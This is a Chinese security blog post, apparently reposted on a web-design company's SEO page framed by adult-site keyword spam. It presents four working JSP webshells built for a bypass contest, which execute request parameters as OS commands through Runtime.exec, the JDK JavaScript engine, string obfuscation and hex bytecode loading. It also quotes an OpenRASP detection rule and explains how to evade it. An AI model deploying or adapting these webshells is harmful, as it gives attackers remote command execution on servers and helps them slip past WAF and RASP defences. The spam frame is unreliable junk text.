久久99久久人婷婷精品综合_超碰aⅴ人人做人人爽欧美_亚洲电影第三页_日韩欧美一中文字暮专区_波多野结衣的一区二区三区_婷婷在线播放_人人视频精品_国产精品日韩精品欧美精品_亚洲免费黄色_欧美性猛交xxxxxxxx

java動態加載特性中實現jspwebshell繞過的示例分析

今天就跟大家聊聊有關java動態加載特性中實現jsp webshell繞過的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

創新互聯是專業的莒南網站建設公司,莒南接單;提供成都網站制作、成都網站建設、外貿營銷網站建設,網頁設計,網站設計,建網站,PHP網站建設等專業做網站服務;采用PHP框架,可快速的進行莒南網站開發網頁制作和功能擴展;專業做搜索引擎喜愛的網站,專業的做網站團隊,希望更多企業前來合作!

整體介紹

共四個jsp webshell 當時用來參加青藤webshell bypass 活動。主要思路是在靜態中尋找動態特性:jdk內置javascript引擎class字節碼加載

0.jsp webshell裸奔

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<br>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>

最直接的寫法直接over。另外發現本機PC windows defender也有把0.jsp查殺了。

java動態加載特性中實現jsp webshell繞過的示例分析

1.jsp 借助JavaScript引擎開始第一次動態化

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<HTML><BODY>
<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)" :
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)";
        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>
</BODY></HTML>

jdk內置javascript引擎,其中從jdk1.6默認實現是:Rhino jdk,jdk 1.8之后是:nashorn。1.jsp有對jdk不同版本做了適配。

2.jsp 基于動態化后的變形

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<HTML><BODY>
<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);{$0}time{$1}Run{$2}().ex{$3}(a); return a; })(a)"
                             .replace("{$0}" ,"Run")
                             .replace("{$1}",".get")
                             .replace("{$2}","time")
                             .replace("{$3}","ec"):
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Run{$0}ntime().e{$1}c(a); return a; })(a)"
                .replace("{$0}","time.getRu")
                .replace("{$1}","xe");

        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>
</BODY></HTML>

1.jsp中只是使用了js引擎,但是還沒充分發揮動態腳本混淆和變形的能力,2.jsp嘗試做簡單的替換變形。我們知道xss的防護對正則檢測的挑戰是很大的,個人的感受是xss經常伴隨著html和JavaScript的混合,并且JavaScript的變化多端容易混淆帶來的進一步的檢測難度,這里我們實現了類似的思路:java 與JavaScript的混合,JavaScript的動態多變能力依然可以發力,所以無論是正則還是靜態語法分析的檢測方式應該都會帶來一些障礙。

3.jsp 字節碼動態加載

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<%@ page import="java.lang.reflect.Method" %>
<HTML><BODY>
<%

    if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
        try {
            n = java.net.URLDecoder.decode(n, "UTF-8");
        } catch (Exception e) {
            e.printStackTrace();
        }

        String regexSeparator = ":";
        String[] octets = hex.split(regexSeparator);
        byte[] data = new byte[octets.length];

        for (int i = 0; i < octets.length; i++) {
            if (octets[i].length() > 2) {
                throw new NumberFormatException("Invalid octet length");
            }
            data[i] = Integer.valueOf(octets[i], 16).byteValue();
        }

        L l = new L();
        l.defineClass0("A", data);
        Class<?> classA = l.loadClass("A");
        Method m = classA.getDeclaredMethod("F", String.class);
        m.invoke(null, n);
    }
%>
</BODY></HTML>

3.jsp 是基于defineClass0 加載字節碼來bypass。當時的思路也是想歷次的入侵黑客喜歡用base64做些繞過,java可以動態加載字節碼,字節碼十六進制傳遞很難被正則waf抓住。后面在研究 ”冰蟹“ 的時候看到也用了defineclass方式。

內置JavaScript引擎帶來的脆弱

JEP提案,開發者 與安全三者的感想

jdk中是否要內置JavaScript引擎值得商榷,的確java開發者有比較強的 動態腳本 的需求,比如我自己做些規則引擎,配置系統的時候常用到這樣的特性。這樣的需求groovy是個很好的榜樣,由第三方jar包提供。現實情況下內置的javascript引擎性可能不滿足應用需求,比如jdk從1.8將實現換成nashorn,到了jdk15提案中又有人提議替換掉nashorn。還有在自己研究百度openrasp的時候,可以看到最早期版本java對應的規則引擎是由jdk內置提供的,而到最后還是因為性能問題切換到V8引擎。

solr配置腳本RCE

另記一次solr CVE-2019-0193 遠程代碼執行漏洞,記得當初這個0day爆出的時候乙方的poc文章對payload打了馬賽克,結合官方文檔已經猜到是javascript動態配置引起,立馬驗證確實如此。此處有“default”,脆弱性立馬顯現。

java動態加載特性中實現jsp webshell繞過的示例分析

一句話javascript引擎哪家強有由用戶自己決定吧

對比其他webshell工具

在寫完上面的幾個jsp的webshell的時候,和部門做滲透同事交流他提到過一個“冰蟹”。以前對webshell工具的理解上更多的關注自動化,方便,比如“中國菜刀”。但是“冰蟹”不同,他借用了協議交互會話的邏輯去增強bypass能力,開闊了思路值得借鑒。

RASP能做些什么?

以百度rasp為例,針對冰蟹,javascript動態腳本的webshell如何去匹配呢?

function validate_stack_java(stacks) {
    var known    = {
        'com.thoughtworks.xstream.XStream.unmarshal':                                   "Using xstream library",
        'java.beans.XMLDecoder.readObject':                                             "Using WebLogic XMLDecoder library",
        'org.apache.commons.collections4.functors.InvokerTransformer.transform':        "Using Transformer library (v4)",
        'org.apache.commons.collections.functors.InvokerTransformer.transform':         "Using Transformer library",
        'org.apache.commons.collections.functors.ChainedTransformer.transform':         "Using Transformer library",
        'org.jolokia.jsr160.Jsr160RequestDispatcher.dispatchRequest':                   "Using JNDI library (JSR 160)",
        'com.sun.jndi.rmi.registry.RegistryContext.lookup':                             "Using JNDI registry service",
        'org.apache.xbean.propertyeditor.JndiConverter':                                "Using JNDI binding class",
        'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig':                "Using JTA transaction manager",
        'com.sun.jndi.url.ldap.ldapURLContext.lookup':                                  "Using LDAP factory service",
        'com.alibaba.fastjson.JSON.parseObject':                                        "Using fastjson library",
        'org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute': "Using SpEL expressions",
        'freemarker.template.utility.Execute.exec':                                     "Using FreeMarker template",
        'org.jboss.el.util.ReflectionUtil.invokeMethod':                                "Using JBoss EL method",
        'org.codehaus.groovy.runtime.ProcessGroovyMethods.execute':                     "Using Groovy library",
        'bsh.Reflect.invokeMethod':                                                     "Using BeanShell library",
        'jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke':     "Using Nashorn engine",
        'org.apache.shiro.io.DefaultSerializer.deserialize':                            "Using Shiro framework (DefaultSerializer)"
    }
 
    var userCode = false, reachedInvoke = false, i = 0, message = undefined
 
    // v1.1.1 要求在堆棧里過濾 com.baidu.openrasp 相關的類,因為沒有實現正確而產生了多余的反射堆棧,這里需要兼容下防止誤報
    // v1.1.2 修復了這個問題,即堆棧頂部為命令執行的方法
    if (stacks.length > 3
        && stacks[0].startsWith('sun.reflect.GeneratedMethodAccessor')
        && stacks[1] == 'sun.reflect.GeneratedMethodAccessorImpl.invoke'
        && stacks[2] == 'java.lang.reflect.Method.invoke')
    {
        i = 3
    }
 
    for (; i < stacks.length; i ++) {
        var method = stacks[i]
 
        // 檢查反射調用 -> 命令執行之間,是否包含用戶代碼
        if (! reachedInvoke) {
            if (method == 'java.lang.reflect.Method.invoke') {
                reachedInvoke = true
            }
 
            // 用戶代碼,即非 JDK、com.baidu.openrasp 相關的函數
            if (! method.startsWith('java.')
                && !method.startsWith('sun.')
                && !method.startsWith('com.sun.')
                && !method.startsWith('com.baidu.openrasp.'))
            {
                userCode = true
            }
        }
 
        if (method.startsWith('ysoserial.Pwner')) {
            message = "Using YsoSerial tool"
            break
        }
 
        if (method.startsWith('net.rebeyond.behinder')) {
            message = "Using BeHinder defineClass webshell"
            break
        }
 
        if (method.startsWith('com.fasterxml.jackson.databind.')) {
            message = "Using Jackson deserialze method"
            break
        }
 
        // 對于如下類型的反射調用:
        // 1. 僅當命令直接來自反射調用才攔截
        // 2. 如果某個類是反射生成,這個類再主動執行命令,則忽略
        if (! userCode) {
            if (method == 'ognl.OgnlRuntime.invokeMethod') {
                message = "Using OGNL library"
                break
            }  else if (method == 'java.lang.reflect.Method.invoke') {
                message = "Unknown vulnerability detected"
            }
        }
 
        if (known[method]) {
            message = known[method]
        }
    }
    return message
}

我們可以看到rasp會hook住java stacks信息,然后去和已知的黑名單庫去匹配,比如上面提到的 javascript引擎手法(關鍵字nashorn),冰蟹(關鍵字behinder)。不得不說rasp這種以調用棧作為上下文檢測的更加精準,但是軟件的生命周期是迭代的,對抗的手法也是升級的。

比如javascript引擎隨著jdk版本的迭代而變化,策略腳本中缺失了jdk 1.8 之前Rhino方式 。對于冰蟹關鍵字”behinder“匹配能夠防住工具小子,盡管冰蟹作者沒有公布源碼,但是擬向這類工具更改包名都不是難事,從而逃脫rasp的檢查。

看完上述內容,你們對java動態加載特性中實現jsp webshell繞過的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注創新互聯行業資訊頻道,感謝大家的支持。

分享題目:java動態加載特性中實現jspwebshell繞過的示例分析
文章地址:http://www.js-pz168.com/article46/pojceg.html

成都網站建設公司_創新互聯,為您提供網站設計網站收錄網站排名網站導航外貿建站全網營銷推廣

廣告

聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯

網站優化排名
久久99久久人婷婷精品综合_超碰aⅴ人人做人人爽欧美_亚洲电影第三页_日韩欧美一中文字暮专区_波多野结衣的一区二区三区_婷婷在线播放_人人视频精品_国产精品日韩精品欧美精品_亚洲免费黄色_欧美性猛交xxxxxxxx
国产乱人伦偷精品视频不卡 | 中文字幕高清一区| 一区二区三区欧美亚洲| 久久91精品久久久久久秒播 | 日韩欧美在线1卡| 成人欧美一区二区三区黑人麻豆| 午夜精品久久久久久久久久久| 国产成人午夜电影网| 久久er99热精品一区二区三区| 色菇凉天天综合网| 久久久国产精品不卡| 午夜av区久久| 91网站在线观看视频| 亚洲人成网站在线观看播放| 337p粉嫩大胆色噜噜噜噜亚洲| 亚洲国产日韩a在线播放| 成人免费va视频| 日韩欧美亚洲日产国| 欧美成人午夜电影| 亚洲成a人片在线不卡一二三区| 北条麻妃国产九九精品视频| 亚洲国产另类久久久精品极度| 日韩精品专区在线影院重磅| 亚洲综合在线五月| 波多野结衣91| 91福利社在线观看| 国产精品区一区二区三区| 久久精品国产精品青草| 国内精品视频在线播放| 欧美日韩国产乱码电影| 亚洲麻豆国产自偷在线| 成人美女在线观看| 亚洲精品中文字幕在线| 国产午夜精品一区二区 | 国产99精品国产| 色一情一乱一伦一区二区三区丨| 精品国产电影一区二区| 日本欧美大码aⅴ在线播放| 国产精品18毛片一区二区| 欧美剧情片在线观看| 一区二区三区在线视频免费| 9i看片成人免费高清| 在线观看亚洲a| 一区二区三区日韩精品视频| 99久久精品情趣| 欧美日免费三级在线| 一区二区三区国产豹纹内裤在线| 99免费精品视频| 欧美少妇性性性| 亚洲一区二区在线视频| 操一操视频一区| 日韩一区二区在线看| 日本不卡视频一二三区| 欧美成ee人免费视频| 久久青草国产手机看片福利盒子| 激情伊人五月天久久综合| 日韩高清国产精品| 亚洲国产激情av| 成人教育av在线| 欧美色图免费看| 午夜视频一区在线观看| 精品久久久久久一区| 久久综合久久鬼色中文字| 激情文学综合网| 制服丝袜综合日韩欧美| 亚洲人123区| 俄罗斯精品一区二区三区| 日韩欧美高清dvd碟片| 久久99久久久久久久久久久| 婷婷久久伊人| 国产精品久久久久久久久免费相片 | 欧美mv日韩mv国产网站| 精品影视av免费| 色综合咪咪久久| 亚洲国产一区视频| 鲁鲁视频www一区二区| 日本一区二区三区久久久久久久久不| 成人性色生活片免费看爆迷你毛片| 欧美网站大全在线观看| 日韩成人午夜电影| 一区不卡字幕| 亚洲18女电影在线观看| 日本精品视频一区| 日韩毛片在线免费观看| 国产女人水真多18毛片18精品| 久久久久久9999| 91亚洲大成网污www| 精品国精品国产尤物美女| 国产91丝袜在线播放| 欧美久久久久久久久久| 久久国产婷婷国产香蕉| 91豆麻精品91久久久久久| 日韩高清在线一区| 亚洲一二三区在线| 亚洲国产sm捆绑调教视频 | 亚洲制服欧美中文字幕中文字幕| 黄色小网站91| 中文字幕一区二区三区蜜月| 国产福利久久精品| 亚洲国产精品99久久久久久久久 | 国产日韩欧美亚洲| 3d动漫啪啪精品一区二区免费 | 欧美老肥妇做.爰bbww| 国产在线不卡一区| 欧美精品色一区二区三区| 国模无码大尺度一区二区三区| 欧美色偷偷大香| 国产一区二区三区久久久 | 国产精品一级黄| 欧美一区二区三区免费观看视频| 国产成人自拍在线| 日韩精品在线网站| 91首页免费视频| 国产网站一区二区三区| 国产成人精品福利一区二区三区| 中文在线一区二区| 国产亚洲精品久久飘花| 最新中文字幕一区二区三区| 欧美日韩国产不卡在线看| 亚洲在线观看免费| 中文字幕一区二区三区有限公司| 免费在线观看不卡| 欧美美女喷水视频| 成人一区在线观看| 国产日产欧美一区| 久久精品国产综合精品| 亚洲一级电影视频| 色综合久久久久久久久久久| 精品一区二区三区在线观看| 91精品国产91久久综合桃花| 不卡av在线免费观看| 中文字幕免费在线观看视频一区| 久久99精品国产99久久| 亚洲国产一区二区视频| 欧美性受xxxx黑人xyx| 国产高清不卡二三区| 久久九九国产精品| 欧美精品123| 日本麻豆一区二区三区视频| 欧美日韩大陆一区二区| www.日韩精品| 亚洲欧洲av色图| 亚洲一区二区不卡视频| 激情综合色播激情啊| 精品国产乱码久久久久久夜甘婷婷 | 国产欧美在线一区二区| 亚洲午夜免费福利视频| 欧美视频一区二区三区在线观看| 国产不卡视频在线观看| 欧美激情一区在线| 午夜一区二区三区| 国产在线精品免费av| 国产色产综合色产在线视频 | 91网站在线播放| 亚洲另类中文字| 欧美中文字幕亚洲一区二区va在线 | av不卡在线观看| 亚洲视频精选在线| 在线观看成人av| 国产白丝精品91爽爽久久| 国产精品你懂的在线欣赏| 亚洲综合欧美日韩| 国产99精品视频| 亚洲欧美偷拍三级| 欧美丝袜丝交足nylons| 波多野洁衣一区| 亚洲一区在线免费观看| 3d动漫精品啪啪| 国产精品18毛片一区二区| 日韩主播视频在线| 精品国产一区二区三区久久久蜜月| 久久久精彩视频| 久久成人久久爱| 欧美国产一区二区在线观看| 亚洲一二三区精品| www.欧美日韩国产在线| 一区二区三区国产| 日韩一区二区三区在线观看| 精品久久久久久一区| 精品亚洲成a人| 中文字幕第一区综合| 亚洲午夜在线观看| 成人永久免费视频| 亚洲午夜电影在线观看| 日韩午夜精品视频| 欧美一区观看| 成人免费观看av| 亚洲综合激情另类小说区| 欧美一区二区三区喷汁尤物| 你懂的视频在线一区二区| 国产一区 二区| 亚洲免费观看高清| 91精品在线观看入口| 欧美日韩在线一区二区三区| 国产99久久久国产精品免费看 | 欧美资源一区| 成人网页在线观看| 亚洲成人午夜影院| 26uuu国产在线精品一区二区| 亚洲高清不卡一区|